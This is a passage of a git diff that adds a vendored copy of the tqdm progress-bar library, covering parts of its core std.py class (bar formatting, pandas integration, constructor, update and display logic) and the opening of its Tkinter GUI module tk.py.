= datetime.max + + # format the stats displayed to the left and right sides of the bar + if prefix: + # old prefix setup work around + bool_prefix_colon_already = (prefix[-2:] == ": ") + l_bar = prefix if bool_prefix_colon_already else prefix + ": " + else: + l_bar = '' + + r_bar = '| {0}/{1} [{2}<{3}, {4}{5}]'.format( + n_fmt, total_fmt, elapsed_str, remaining_str, rate_fmt, postfix) + + # Custom bar formatting + # Populate a dict with all available progress indicators + format_dict = dict( + # slight extension of self.format_dict + n=n, n_fmt=n_fmt, total=total, total_fmt=total_fmt, + elapsed=elapsed_str, elapsed_s=elapsed, + ncols=ncols, desc=prefix or '', unit=unit, + rate=inv_rate if inv_rate and inv_rate > 1 else rate, + rate_fmt=rate_fmt, rate_noinv=rate, + rate_noinv_fmt=rate_noinv_fmt, rate_inv=inv_rate, + rate_inv_fmt=rate_inv_fmt, + postfix=postfix, unit_divisor=unit_divisor, + colour=colour, + # plus more useful definitions + remaining=remaining_str, remaining_s=remaining, + l_bar=l_bar, r_bar=r_bar, eta=eta_dt, + **extra_kwargs) + + # total is known: we can predict some stats + if total: + # fractional and percentage progress + frac = n / total + percentage = frac * 100 + + l_bar += '{0:3.0f}%|'.format(percentage) + + if ncols == 0: + return l_bar[:-1] + r_bar[1:] + + format_dict.update(l_bar=l_bar) + if bar_format: + format_dict.update(percentage=percentage) + + # auto-remove colon for empty `desc` + if not prefix: + bar_format = bar_format.replace("{desc}: ", '') + else: + bar_format = "{l_bar}{bar}{r_bar}" + + full_bar = FormatReplace() + try: + nobar = bar_format.format(bar=full_bar, **format_dict) + except UnicodeEncodeError: + bar_format = _unicode(bar_format) + nobar = bar_format.format(bar=full_bar, **format_dict) + if not full_bar.format_called: + # no {bar}, we can just format and return + return nobar + + # Formatting progress bar space available for bar's display + full_bar = Bar(frac, + max(1, ncols - disp_len(nobar)) if ncols else 10, + charset=Bar.ASCII if ascii is True else ascii or Bar.UTF, + colour=colour) + if not _is_ascii(full_bar.charset) and _is_ascii(bar_format): + bar_format = _unicode(bar_format) + res = bar_format.format(bar=full_bar, **format_dict) + return disp_trim(res, ncols) if ncols else res + + elif bar_format: + # user-specified bar_format but no total + l_bar += '|' + format_dict.update(l_bar=l_bar, percentage=0) + full_bar = FormatReplace() + nobar = bar_format.format(bar=full_bar, **format_dict) + if not full_bar.format_called: + return nobar + full_bar = Bar(0, + max(1, ncols - disp_len(nobar)) if ncols else 10, + charset=Bar.BLANK, colour=colour) + res = bar_format.format(bar=full_bar, **format_dict) + return disp_trim(res, ncols) if ncols else res + else: + # no total: no progressbar, ETA, just progress stats + return '{0}{1}{2} [{3}, {4}{5}]'.format( + (prefix + ": ") if prefix else '', n_fmt, unit, elapsed_str, rate_fmt, postfix) + + def __new__(cls, *_, **__): + instance = object.__new__(cls) + with cls.get_lock(): # also constructs lock if non-existent + cls._instances.add(instance) + # create monitoring thread + if cls.monitor_interval and (cls.monitor is None + or not cls.monitor.report()): + try: + cls.monitor = TMonitor(cls, cls.monitor_interval) + except Exception as e: # pragma: nocover + warn("tqdm:disabling monitor support" + " (monitor_interval = 0) due to:\n" + str(e), + TqdmMonitorWarning, stacklevel=2) + cls.monitor_interval = 0 + return instance + + @classmethod + def _get_free_pos(cls, instance=None): + """Skips specified instance.""" + positions = {abs(inst.pos) for inst in cls._instances + if inst is not instance and hasattr(inst, "pos")} + return min(set(range(len(positions) + 1)).difference(positions)) + + @classmethod + def _decr_instances(cls, instance): + """ + Remove from list and reposition another unfixed bar + to fill the new gap. + + This means that by default (where all nested bars are unfixed), + order is not maintained but screen flicker/blank space is minimised. + (tqdm<=4.44.1 moved ALL subsequent unfixed bars up.) + """ + with cls._lock: + try: + cls._instances.remove(instance) + except KeyError: + # if not instance.gui: # pragma: no cover + # raise + pass # py2: maybe magically removed already + # else: + if not instance.gui: + last = (instance.nrows or 20) - 1 + # find unfixed (`pos >= 0`) overflow (`pos >= nrows - 1`) + instances = list(filter( + lambda i: hasattr(i, "pos") and last <= i.pos, + cls._instances)) + # set first found to current `pos` + if instances: + inst = min(instances, key=lambda i: i.pos) + inst.clear(nolock=True) + inst.pos = abs(instance.pos) + + @classmethod + def write(cls, s, file=None, end="\n", nolock=False): + """Print a message via tqdm (without overlap with bars).""" + fp = file if file is not None else sys.stdout + with cls.external_write_mode(file=file, nolock=nolock): + # Write the message + fp.write(s) + fp.write(end) + + @classmethod + @contextmanager + def external_write_mode(cls, file=None, nolock=False): + """ + Disable tqdm within context and refresh tqdm when exits. + Useful when writing to standard output stream + """ + fp = file if file is not None else sys.stdout + + try: + if not nolock: + cls.get_lock().acquire() + # Clear all bars + inst_cleared = [] + for inst in getattr(cls, '_instances', []): + # Clear instance if in the target output file + # or if write output + tqdm output are both either + # sys.stdout or sys.stderr (because both are mixed in terminal) + if hasattr(inst, "start_t") and (inst.fp == fp or all( + f in (sys.stdout, sys.stderr) for f in (fp, inst.fp))): + inst.clear(nolock=True) + inst_cleared.append(inst) + yield + # Force refresh display of bars we cleared + for inst in inst_cleared: + inst.refresh(nolock=True) + finally: + if not nolock: + cls._lock.release() + + @classmethod + def set_lock(cls, lock): + """Set the global lock.""" + cls._lock = lock + + @classmethod + def get_lock(cls): + """Get the global lock. Construct it if it does not exist.""" + if not hasattr(cls, '_lock'): + cls._lock = TqdmDefaultWriteLock() + return cls._lock + + @classmethod + def pandas(cls, **tqdm_kwargs): + """ + Registers the current `tqdm` class with + pandas.core. + ( frame.DataFrame + | series.Series + | groupby.(generic.)DataFrameGroupBy + | groupby.(generic.)SeriesGroupBy + ).progress_apply + + A new instance will be create every time `progress_apply` is called, + and each instance will automatically `close()` upon completion. + + Parameters + ---------- + tqdm_kwargs : arguments for the tqdm instance + + Examples + -------- + >>> import pandas as pd + >>> import numpy as np + >>> from tqdm import tqdm + >>> from tqdm.gui import tqdm as tqdm_gui + >>> + >>> df = pd.DataFrame(np.random.randint(0, 100, (100000, 6))) + >>> tqdm.pandas(ncols=50) # can use tqdm_gui, optional kwargs, etc + >>> # Now you can use `progress_apply` instead of `apply` + >>> df.groupby(0).progress_apply(lambda x: x**2) + + References + ---------- + + """ + from warnings import catch_warnings, simplefilter + + from pandas.core.frame import DataFrame + from pandas.core.series import Series + try: + with catch_warnings(): + simplefilter("ignore", category=FutureWarning) + from pandas import Panel + except ImportError: # pandas>=1.2.0 + Panel = None + Rolling, Expanding = None, None + try: # pandas>=1.0.0 + from pandas.core.window.rolling import _Rolling_and_Expanding + except ImportError: + try: # pandas>=0.18.0 + from pandas.core.window import _Rolling_and_Expanding + except ImportError: # pandas>=1.2.0 + try: # pandas>=1.2.0 + from pandas.core.window.expanding import Expanding + from pandas.core.window.rolling import Rolling + _Rolling_and_Expanding = Rolling, Expanding + except ImportError: # pragma: no cover + _Rolling_and_Expanding = None + try: # pandas>=0.25.0 + from pandas.core.groupby.generic import SeriesGroupBy # , NDFrameGroupBy + from pandas.core.groupby.generic import DataFrameGroupBy + except ImportError: # pragma: no cover + try: # pandas>=0.23.0 + from pandas.core.groupby.groupby import DataFrameGroupBy, SeriesGroupBy + except ImportError: + from pandas.core.groupby import DataFrameGroupBy, SeriesGroupBy + try: # pandas>=0.23.0 + from pandas.core.groupby.groupby import GroupBy + except ImportError: # pragma: no cover + from pandas.core.groupby import GroupBy + + try: # pandas>=0.23.0 + from pandas.core.groupby.groupby import PanelGroupBy + except ImportError: + try: + from pandas.core.groupby import PanelGroupBy + except ImportError: # pandas>=0.25.0 + PanelGroupBy = None + + tqdm_kwargs = tqdm_kwargs.copy() + deprecated_t = [tqdm_kwargs.pop('deprecated_t', None)] + + def inner_generator(df_function='apply'): + def inner(df, func, *args, **kwargs): + """ + Parameters + ---------- + df : (DataFrame|Series)[GroupBy] + Data (may be grouped). + func : function + To be applied on the (grouped) data. + **kwargs : optional + Transmitted to `df.apply()`. + """ + + # Precompute total iterations + total = tqdm_kwargs.pop("total", getattr(df, 'ngroups', None)) + if total is None: # not grouped + if df_function == 'applymap': + total = df.size + elif isinstance(df, Series): + total = len(df) + elif (_Rolling_and_Expanding is None or + not isinstance(df, _Rolling_and_Expanding)): + # DataFrame or Panel + axis = kwargs.get('axis', 0) + if axis == 'index': + axis = 0 + elif axis == 'columns': + axis = 1 + # when axis=0, total is shape[axis1] + total = df.size // df.shape[axis] + + # Init bar + if deprecated_t[0] is not None: + t = deprecated_t[0] + deprecated_t[0] = None + else: + t = cls(total=total, **tqdm_kwargs) + + if len(args) > 0: + # *args intentionally not supported (see #244, #299) + TqdmDeprecationWarning( + "Except func, normal arguments are intentionally" + + " not supported by" + + " `(DataFrame|Series|GroupBy).progress_apply`." + + " Use keyword arguments instead.", + fp_write=getattr(t.fp, 'write', sys.stderr.write)) + + try: # pandas>=1.3.0 + from pandas.core.common import is_builtin_func + except ImportError: + is_builtin_func = df._is_builtin_func + try: + func = is_builtin_func(func) + except TypeError: + pass + + # Define bar updating wrapper + def wrapper(*args, **kwargs): + # update tbar correctly + # it seems `pandas apply` calls `func` twice + # on the first column/row to decide whether it can + # take a fast or slow code path; so stop when t.total==t.n + t.update(n=1 if not t.total or t.n < t.total else 0) + return func(*args, **kwargs) + + # Apply the provided function (in **kwargs) + # on the df using our wrapper (which provides bar updating) + try: + return getattr(df, df_function)(wrapper, **kwargs) + finally: + t.close() + + return inner + + # Monkeypatch pandas to provide easy methods + # Enable custom tqdm progress in pandas! + Series.progress_apply = inner_generator() + SeriesGroupBy.progress_apply = inner_generator() + Series.progress_map = inner_generator('map') + SeriesGroupBy.progress_map = inner_generator('map') + + DataFrame.progress_apply = inner_generator() + DataFrameGroupBy.progress_apply = inner_generator() + DataFrame.progress_applymap = inner_generator('applymap') + + if Panel is not None: + Panel.progress_apply = inner_generator() + if PanelGroupBy is not None: + PanelGroupBy.progress_apply = inner_generator() + + GroupBy.progress_apply = inner_generator() + GroupBy.progress_aggregate = inner_generator('aggregate') + GroupBy.progress_transform = inner_generator('transform') + + if Rolling is not None and Expanding is not None: + Rolling.progress_apply = inner_generator() + Expanding.progress_apply = inner_generator() + elif _Rolling_and_Expanding is not None: + _Rolling_and_Expanding.progress_apply = inner_generator() + + def __init__(self, iterable=None, desc=None, total=None, leave=True, file=None, + ncols=None, mininterval=0.1, maxinterval=10.0, miniters=None, + ascii=None, disable=False, unit='it', unit_scale=False, + dynamic_ncols=False, smoothing=0.3, bar_format=None, initial=0, + position=None, postfix=None, unit_divisor=1000, write_bytes=None, + lock_args=None, nrows=None, colour=None, delay=0, gui=False, + **kwargs): + """ + Parameters + ---------- + iterable : iterable, optional + Iterable to decorate with a progressbar. + Leave blank to manually manage the updates. + desc : str, optional + Prefix for the progressbar. + total : int or float, optional + The number of expected iterations. If unspecified, + len(iterable) is used if possible. If float("inf") or as a last + resort, only basic progress statistics are displayed + (no ETA, no progressbar). + If `gui` is True and this parameter needs subsequent updating, + specify an initial arbitrary large positive number, + e.g. 9e9. + leave : bool, optional + If [default: True], keeps all traces of the progressbar + upon termination of iteration. + If `None`, will leave only if `position` is `0`. + file : `io.TextIOWrapper` or `io.StringIO`, optional + Specifies where to output the progress messages + (default: sys.stderr). Uses `file.write(str)` and `file.flush()` + methods. For encoding, see `write_bytes`. + ncols : int, optional + The width of the entire output message. If specified, + dynamically resizes the progressbar to stay within this bound. + If unspecified, attempts to use environment width. The + fallback is a meter width of 10 and no limit for the counter and + statistics. If 0, will not print any meter (only stats). + mininterval : float, optional + Minimum progress display update interval [default: 0.1] seconds. + maxinterval : float, optional + Maximum progress display update interval [default: 10] seconds. + Automatically adjusts `miniters` to correspond to `mininterval` + after long display update lag. Only works if `dynamic_miniters` + or monitor thread is enabled. + miniters : int or float, optional + Minimum progress display update interval, in iterations. + If 0 and `dynamic_miniters`, will automatically adjust to equal + `mininterval` (more CPU efficient, good for tight loops). + If > 0, will skip display of specified number of iterations. + Tweak this and `mininterval` to get very efficient loops. + If your progress is erratic with both fast and slow iterations + (network, skipping items, etc) you should set miniters=1. + ascii : bool or str, optional + If unspecified or False, use unicode (smooth blocks) to fill + the meter. The fallback is to use ASCII characters " 123456789#". + disable : bool, optional + Whether to disable the entire progressbar wrapper + [default: False]. If set to None, disable on non-TTY. + unit : str, optional + String that will be used to define the unit of each iteration + [default: it]. + unit_scale : bool or int or float, optional + If 1 or True, the number of iterations will be reduced/scaled + automatically and a metric prefix following the + International System of Units standard will be added + (kilo, mega, etc.) [default: False]. If any other non-zero + number, will scale `total` and `n`. + dynamic_ncols : bool, optional + If set, constantly alters `ncols` and `nrows` to the + environment (allowing for window resizes) [default: False]. + smoothing : float, optional + Exponential moving average smoothing factor for speed estimates + (ignored in GUI mode). Ranges from 0 (average speed) to 1 + (current/instantaneous speed) [default: 0.3]. + bar_format : str, optional + Specify a custom bar string formatting. May impact performance. + [default: '{l_bar}{bar}{r_bar}'], where + l_bar='{desc}: {percentage:3.0f}%|' and + r_bar='| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, ' + '{rate_fmt}{postfix}]' + Possible vars: l_bar, bar, r_bar, n, n_fmt, total, total_fmt, + percentage, elapsed, elapsed_s, ncols, nrows, desc, unit, + rate, rate_fmt, rate_noinv, rate_noinv_fmt, + rate_inv, rate_inv_fmt, postfix, unit_divisor, + remaining, remaining_s, eta. + Note that a trailing ": " is automatically removed after {desc} + if the latter is empty. + initial : int or float, optional + The initial counter value. Useful when restarting a progress + bar [default: 0]. If using float, consider specifying `{n:.3f}` + or similar in `bar_format`, or specifying `unit_scale`. + position : int, optional + Specify the line offset to print this bar (starting from 0) + Automatic if unspecified. + Useful to manage multiple bars at once (eg, from threads). + postfix : dict or *, optional + Specify additional stats to display at the end of the bar. + Calls `set_postfix(**postfix)` if possible (dict). + unit_divisor : float, optional + [default: 1000], ignored unless `unit_scale` is True. + write_bytes : bool, optional + If (default: None) and `file` is unspecified, + bytes will be written in Python 2. If `True` will also write + bytes. In all other cases will default to unicode. + lock_args : tuple, optional + Passed to `refresh` for intermediate output + (initialisation, iterating, and updating). + nrows : int, optional + The screen height. If specified, hides nested bars outside this + bound. If unspecified, attempts to use environment height. + The fallback is 20. + colour : str, optional + Bar colour (e.g. 'green', '#00ff00'). + delay : float, optional + Don't display until [default: 0] seconds have elapsed. + gui : bool, optional + WARNING: internal parameter - do not use. + Use tqdm.gui.tqdm(...) instead. If set, will attempt to use + matplotlib animations for a graphical output [default: False]. + + Returns + ------- + out : decorated iterator. + """ + if write_bytes is None: + write_bytes = file is None and sys.version_info < (3,) + + if file is None: + file = sys.stderr + + if write_bytes: + # Despite coercing unicode into bytes, py2 sys.std* streams + # should have bytes written to them. + file = SimpleTextIOWrapper( + file, encoding=getattr(file, 'encoding', None) or 'utf-8') + + file = DisableOnWriteError(file, tqdm_instance=self) + + if disable is None and hasattr(file, "isatty") and not file.isatty(): + disable = True + + if total is None and iterable is not None: + try: + total = len(iterable) + except (TypeError, AttributeError): + total = None + if total == float("inf"): + # Infinite iterations, behave same as unknown + total = None + + if disable: + self.iterable = iterable + self.disable = disable + with self._lock: + self.pos = self._get_free_pos(self) + self._instances.remove(self) + self.n = initial + self.total = total + self.leave = leave + return + + if kwargs: + self.disable = True + with self._lock: + self.pos = self._get_free_pos(self) + self._instances.remove(self) + raise ( + TqdmDeprecationWarning( + "`nested` is deprecated and automated.\n" + "Use `position` instead for manual control.\n", + fp_write=getattr(file, 'write', sys.stderr.write)) + if "nested" in kwargs else + TqdmKeyError("Unknown argument(s): " + str(kwargs))) + + # Preprocess the arguments + if ( + (ncols is None or nrows is None) and (file in (sys.stderr, sys.stdout)) + ) or dynamic_ncols: # pragma: no cover + if dynamic_ncols: + dynamic_ncols = _screen_shape_wrapper() + if dynamic_ncols: + ncols, nrows = dynamic_ncols(file) + else: + _dynamic_ncols = _screen_shape_wrapper() + if _dynamic_ncols: + _ncols, _nrows = _dynamic_ncols(file) + if ncols is None: + ncols = _ncols + if nrows is None: + nrows = _nrows + + if miniters is None: + miniters = 0 + dynamic_miniters = True + else: + dynamic_miniters = False + + if mininterval is None: + mininterval = 0 + + if maxinterval is None: + maxinterval = 0 + + if ascii is None: + ascii = not _supports_unicode(file) + + if bar_format and ascii is not True and not _is_ascii(ascii): + # Convert bar format into unicode since terminal uses unicode + bar_format = _unicode(bar_format) + + if smoothing is None: + smoothing = 0 + + # Store the arguments + self.iterable = iterable + self.desc = desc or '' + self.total = total + self.leave = leave + self.fp = file + self.ncols = ncols + self.nrows = nrows + self.mininterval = mininterval + self.maxinterval = maxinterval + self.miniters = miniters + self.dynamic_miniters = dynamic_miniters + self.ascii = ascii + self.disable = disable + self.unit = unit + self.unit_scale = unit_scale + self.unit_divisor = unit_divisor + self.initial = initial + self.lock_args = lock_args + self.delay = delay + self.gui = gui + self.dynamic_ncols = dynamic_ncols + self.smoothing = smoothing + self._ema_dn = EMA(smoothing) + self._ema_dt = EMA(smoothing) + self._ema_miniters = EMA(smoothing) + self.bar_format = bar_format + self.postfix = None + self.colour = colour + self._time = time + if postfix: + try: + self.set_postfix(refresh=False, **postfix) + except TypeError: + self.postfix = postfix + + # Init the iterations counters + self.last_print_n = initial + self.n = initial + + # if nested, at initial sp() call we replace '\r' by '\n' to + # not overwrite the outer progress bar + with self._lock: + # mark fixed positions as negative + self.pos = self._get_free_pos(self) if position is None else -position + + if not gui: + # Initialize the screen printer + self.sp = self.status_printer(self.fp) + if delay <= 0: + self.refresh(lock_args=self.lock_args) + + # Init the time counter + self.last_print_t = self._time() + # NB: Avoid race conditions by setting start_t at the very end of init + self.start_t = self.last_print_t + + def __bool__(self): + if self.total is not None: + return self.total > 0 + if self.iterable is None: + raise TypeError('bool() undefined when iterable == total == None') + return bool(self.iterable) + + def __nonzero__(self): + return self.__bool__() + + def __len__(self): + return ( + self.total if self.iterable is None + else self.iterable.shape[0] if hasattr(self.iterable, "shape") + else len(self.iterable) if hasattr(self.iterable, "__len__") + else self.iterable.__length_hint__() if hasattr(self.iterable, "__length_hint__") + else getattr(self, "total", None)) + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, traceback): + try: + self.close() + except AttributeError: + # maybe eager thread cleanup upon external error + if (exc_type, exc_value, traceback) == (None, None, None): + raise + warn("AttributeError ignored", TqdmWarning, stacklevel=2) + + def __del__(self): + self.close() + + def __str__(self): + return self.format_meter(**self.format_dict) + + @property + def _comparable(self): + return abs(getattr(self, "pos", 1 << 31)) + + def __hash__(self): + return id(self) + + def __iter__(self): + """Backward-compatibility to use: for x in tqdm(iterable)""" + + # Inlining instance variables as locals (speed optimisation) + iterable = self.iterable + + # If the bar is disabled, then just walk the iterable + # (note: keep this check outside the loop for performance) + if self.disable: + for obj in iterable: + yield obj + return + + mininterval = self.mininterval + last_print_t = self.last_print_t + last_print_n = self.last_print_n + min_start_t = self.start_t + self.delay + n = self.n + time = self._time + + try: + for obj in iterable: + yield obj + # Update and possibly print the progressbar. + # Note: does not call self.update(1) for speed optimisation. + n += 1 + + if n - last_print_n >= self.miniters: + cur_t = time() + dt = cur_t - last_print_t + if dt >= mininterval and cur_t >= min_start_t: + self.update(n - last_print_n) + last_print_n = self.last_print_n + last_print_t = self.last_print_t + finally: + self.n = n + self.close() + + def update(self, n=1): + """ + Manually update the progress bar, useful for streams + such as reading files. + E.g.: + >>> t = tqdm(total=filesize) # Initialise + >>> for current_buffer in stream: + ... ... + ... t.update(len(current_buffer)) + >>> t.close() + The last line is highly recommended, but possibly not necessary if + `t.update()` will be called in such a way that `filesize` will be + exactly reached and printed. + + Parameters + ---------- + n : int or float, optional + Increment to add to the internal counter of iterations + [default: 1]. If using float, consider specifying `{n:.3f}` + or similar in `bar_format`, or specifying `unit_scale`. + + Returns + ------- + out : bool or None + True if a `display()` was triggered. + """ + if self.disable: + return + + if n < 0: + self.last_print_n += n # for auto-refresh logic to work + self.n += n + + # check counter first to reduce calls to time() + if self.n - self.last_print_n >= self.miniters: + cur_t = self._time() + dt = cur_t - self.last_print_t + if dt >= self.mininterval and cur_t >= self.start_t + self.delay: + cur_t = self._time() + dn = self.n - self.last_print_n # >= n + if self.smoothing and dt and dn: + # EMA (not just overall average) + self._ema_dn(dn) + self._ema_dt(dt) + self.refresh(lock_args=self.lock_args) + if self.dynamic_miniters: + # If no `miniters` was specified, adjust automatically to the + # maximum iteration rate seen so far between two prints. + # e.g.: After running `tqdm.update(5)`, subsequent + # calls to `tqdm.update()` will only cause an update after + # at least 5 more iterations. + if self.maxinterval and dt >= self.maxinterval: + self.miniters = dn * (self.mininterval or self.maxinterval) / dt + elif self.smoothing: + # EMA miniters update + self.miniters = self._ema_miniters( + dn * (self.mininterval / dt if self.mininterval and dt + else 1)) + else: + # max iters between two prints + self.miniters = max(self.miniters, dn) + + # Store old values for next call + self.last_print_n = self.n + self.last_print_t = cur_t + return True + + def close(self): + """Cleanup and (if leave=False) close the progressbar.""" + if self.disable: + return + + # Prevent multiple closures + self.disable = True + + # decrement instance pos and remove from internal set + pos = abs(self.pos) + self._decr_instances(self) + + if self.last_print_t < self.start_t + self.delay: + # haven't ever displayed; nothing to clear + return + + # GUI mode + if getattr(self, 'sp', None) is None: + return + + # annoyingly, _supports_unicode isn't good enough + def fp_write(s): + self.fp.write(_unicode(s)) + + try: + fp_write('') + except ValueError as e: + if 'closed' in str(e): + return + raise # pragma: no cover + + leave = pos == 0 if self.leave is None else self.leave + + with self._lock: + if leave: + # stats for overall rate (no weighted average) + self._ema_dt = lambda: None + self.display(pos=0) + fp_write('\n') + else: + # clear previous display + if self.display(msg='', pos=pos) and not pos: + fp_write('\r') + + def clear(self, nolock=False): + """Clear current bar display.""" + if self.disable: + return + + if not nolock: + self._lock.acquire() + pos = abs(self.pos) + if pos < (self.nrows or 20): + self.moveto(pos) + self.sp('') + self.fp.write('\r') # place cursor back at the beginning of line + self.moveto(-pos) + if not nolock: + self._lock.release() + + def refresh(self, nolock=False, lock_args=None): + """ + Force refresh the display of this bar. + + Parameters + ---------- + nolock : bool, optional + If `True`, does not lock. + If [default: `False`]: calls `acquire()` on internal lock. + lock_args : tuple, optional + Passed to internal lock's `acquire()`. + If specified, will only `display()` if `acquire()` returns `True`. + """ + if self.disable: + return + + if not nolock: + if lock_args: + if not self._lock.acquire(*lock_args): + return False + else: + self._lock.acquire() + self.display() + if not nolock: + self._lock.release() + return True + + def unpause(self): + """Restart tqdm timer from last print time.""" + if self.disable: + return + cur_t = self._time() + self.start_t += cur_t - self.last_print_t + self.last_print_t = cur_t + + def reset(self, total=None): + """ + Resets to 0 iterations for repeated use. + + Consider combining with `leave=True`. + + Parameters + ---------- + total : int or float, optional. Total to use for the new bar. + """ + self.n = 0 + if total is not None: + self.total = total + if self.disable: + return + self.last_print_n = 0 + self.last_print_t = self.start_t = self._time() + self._ema_dn = EMA(self.smoothing) + self._ema_dt = EMA(self.smoothing) + self._ema_miniters = EMA(self.smoothing) + self.refresh() + + def set_description(self, desc=None, refresh=True): + """ + Set/modify description of the progress bar. + + Parameters + ---------- + desc : str, optional + refresh : bool, optional + Forces refresh [default: True]. + """ + self.desc = desc + ': ' if desc else '' + if refresh: + self.refresh() + + def set_description_str(self, desc=None, refresh=True): + """Set/modify description without ': ' appended.""" + self.desc = desc or '' + if refresh: + self.refresh() + + def set_postfix(self, ordered_dict=None, refresh=True, **kwargs): + """ + Set/modify postfix (additional stats) + with automatic formatting based on datatype. + + Parameters + ---------- + ordered_dict : dict or OrderedDict, optional + refresh : bool, optional + Forces refresh [default: True]. + kwargs : dict, optional + """ + # Sort in alphabetical order to be more deterministic + postfix = OrderedDict([] if ordered_dict is None else ordered_dict) + for key in sorted(kwargs.keys()): + postfix[key] = kwargs[key] + # Preprocess stats according to datatype + for key in postfix.keys(): + # Number: limit the length of the string + if isinstance(postfix[key], Number): + postfix[key] = self.format_num(postfix[key]) + # Else for any other type, try to get the string conversion + elif not isinstance(postfix[key], _basestring): + postfix[key] = str(postfix[key]) + # Else if it's a string, don't need to preprocess anything + # Stitch together to get the final postfix + self.postfix = ', '.join(key + '=' + postfix[key].strip() + for key in postfix.keys()) + if refresh: + self.refresh() + + def set_postfix_str(self, s='', refresh=True): + """ + Postfix without dictionary expansion, similar to prefix handling. + """ + self.postfix = str(s) + if refresh: + self.refresh() + + def moveto(self, n): + # TODO: private method + self.fp.write(_unicode('\n' * n + _term_move_up() * -n)) + self.fp.flush() + + @property + def format_dict(self): + """Public API for read-only member access.""" + if self.disable and not hasattr(self, 'unit'): + return defaultdict(lambda: None, { + 'n': self.n, 'total': self.total, 'elapsed': 0, 'unit': 'it'}) + if self.dynamic_ncols: + self.ncols, self.nrows = self.dynamic_ncols(self.fp) + return { + 'n': self.n, 'total': self.total, + 'elapsed': self._time() - self.start_t if hasattr(self, 'start_t') else 0, + 'ncols': self.ncols, 'nrows': self.nrows, 'prefix': self.desc, + 'ascii': self.ascii, 'unit': self.unit, 'unit_scale': self.unit_scale, + 'rate': self._ema_dn() / self._ema_dt() if self._ema_dt() else None, + 'bar_format': self.bar_format, 'postfix': self.postfix, + 'unit_divisor': self.unit_divisor, 'initial': self.initial, + 'colour': self.colour} + + def display(self, msg=None, pos=None): + """ + Use `self.sp` to display `msg` in the specified `pos`. + + Consider overloading this function when inheriting to use e.g.: + `self.some_frontend(**self.format_dict)` instead of `self.sp`. + + Parameters + ---------- + msg : str, optional. What to display (default: `repr(self)`). + pos : int, optional. Position to `moveto` + (default: `abs(self.pos)`). + """ + if pos is None: + pos = abs(self.pos) + + nrows = self.nrows or 20 + if pos >= nrows - 1: + if pos >= nrows: + return False + if msg or msg is None: # override at `nrows - 1` + msg = " ... (more hidden) ..." + + if not hasattr(self, "sp"): + raise TqdmDeprecationWarning( + "Please use `tqdm.gui.tqdm(...)`" + " instead of `tqdm(..., gui=True)`\n", + fp_write=getattr(self.fp, 'write', sys.stderr.write)) + + if pos: + self.moveto(pos) + self.sp(self.__str__() if msg is None else msg) + if pos: + self.moveto(-pos) + return True + + @classmethod + @contextmanager + def wrapattr(cls, stream, method, total=None, bytes=True, **tqdm_kwargs): + """ + stream : file-like object. + method : str, "read" or "write". The result of `read()` and + the first argument of `write()` should have a `len()`. + + >>> with tqdm.wrapattr(file_obj, "read", total=file_obj.size) as fobj: + ... while True: + ... chunk = fobj.read(chunk_size) + ... if not chunk: + ... break + """ + with cls(total=total, **tqdm_kwargs) as t: + if bytes: + t.unit = "B" + t.unit_scale = True + t.unit_divisor = 1024 + yield CallbackIOWrapper(t.update, stream, method) + + +def trange(*args, **kwargs): + """ + A shortcut for tqdm(xrange(*args), **kwargs). + On Python3+ range is used instead of xrange. + """ + return tqdm(_range(*args), **kwargs) diff --git a/thirdparty/tqdm/tk.py b/thirdparty/tqdm/tk.py new file mode 100644 index 0000000..92adb51 --- /dev/null +++ b/thirdparty/tqdm/tk.py @@ -0,0 +1,207 @@ +""" +Tkinter GUI progressbar decorator for iterators. + +Usage: +>>> from tqdm.tk import trange, tqdm +>>> for i in trange(10): +... ... +""" +from __future__ import absolute_import, division + +import re +import sys +from warnings import warn + +try: + import tkinter + import tkinter.ttk as ttk +except ImportError: + import Tkinter as tkinter + import ttk as ttk + +from .std import TqdmExperimentalWarning, TqdmWarning +from .std import tqdm as std_tqdm +from .utils import _range + +__author__ = {"github.com/": ["richardsheridan", "casperdcl"]} +__all__ = ['tqdm_tk', 'ttkrange', 'tqdm', 'trange'] + + +class tqdm_tk(std_tqdm): # pragma: no cover + """ + Experimental Tkinter GUI version of tqdm! + + Note: Window interactivity suffers if `tqdm_tk` is not running within + a Tkinter mainloop and values are generated infrequently. In this case, + consider calling `tqdm_tk.refresh()` frequently in the Tk thread. + """ + + # TODO: @classmethod: write()? + + def __init__(self, *args, **kwargs): + """ + This class accepts the following parameters *in addition* to + the parameters accepted by `tqdm`. + + Parameters + ---------- + grab : bool, optional + Grab the input across all windows of the process. + tk_parent : `tkinter.Wm`, optional + Parent Tk window. + cancel_callback : Callable, optional + Create a cancel button and set `cancel_callback` to be called + when the cancel or window close button is clicked. + """ + kwargs = kwargs.copy() + kwargs['gui'] = True + # convert disable = None to False + kwargs['disable'] = bool(kwargs.get('disable', False)) + self._warn_leave = 'leave' in kwargs + grab = kwargs.pop('grab', False) + tk_parent = kwargs.pop('tk_parent', None) + self._cancel_callback = kwargs.pop('cancel_callback', None) + super(tqdm_tk, self).__init__(*args, **kwargs) + + if self.disable: + return + + if tk_parent is None: # Discover parent widget + try: + tk_parent = tkinter._default_root + except AttributeError: + raise AttributeError( + "`tk_parent` required when using `tkinter.NoDefaultRoot()`") + if tk_parent is None: # use new default root window as display + self._tk_window = tkinter.Tk() + else: # some other windows already exist + self._tk_window = tkinter.Toplevel() + else: + self._tk_window = tkinter.Toplevel(tk_parent) + + warn("GUI is experimental/alpha", TqdmExperimentalWarning, stacklevel=2) + self._tk_dispatching = self._tk_dispatching_helper() + + self._tk_window.protocol("WM_DELETE_WINDOW", self.cancel) + self._tk_window.wm_title(self.desc) + self._tk_window.wm_attributes("-topmost", 1) + self._tk_window.after(0, lambda: self._tk_window.wm_attributes("-topmost", 0)) + self._tk_n_var = tkinter.DoubleVar(self._tk_window, value=0) + self._tk_text_var = tkinter.StringVar(self._tk_window) + pbar_frame = ttk.Frame(self._tk_window, padding=5) + pbar_frame.pack() + _tk_label = ttk.Label(pbar_frame, textvariable=self._tk_text_var, + wraplength=600, anchor="center", justify="center") + _tk_label.pack() + self._tk_pbar = ttk.Progressbar( + pbar_frame, variable=self._tk_n_var, length=450) + if self.total is not None: + self._tk_pbar.configure(maximum=self.total) + else: + self._tk_pbar.configure(mode="indeterminate") + self._tk_pbar.pack() + if self._cancel_callback is not None: + _tk_button = ttk.Button(pbar_frame, text="Cancel", command=self.cancel) + _tk_button.pack() + if grab: + self._tk_window.grab_set() + + def close(self): + if self.disable: + return + + self.disable = True + + 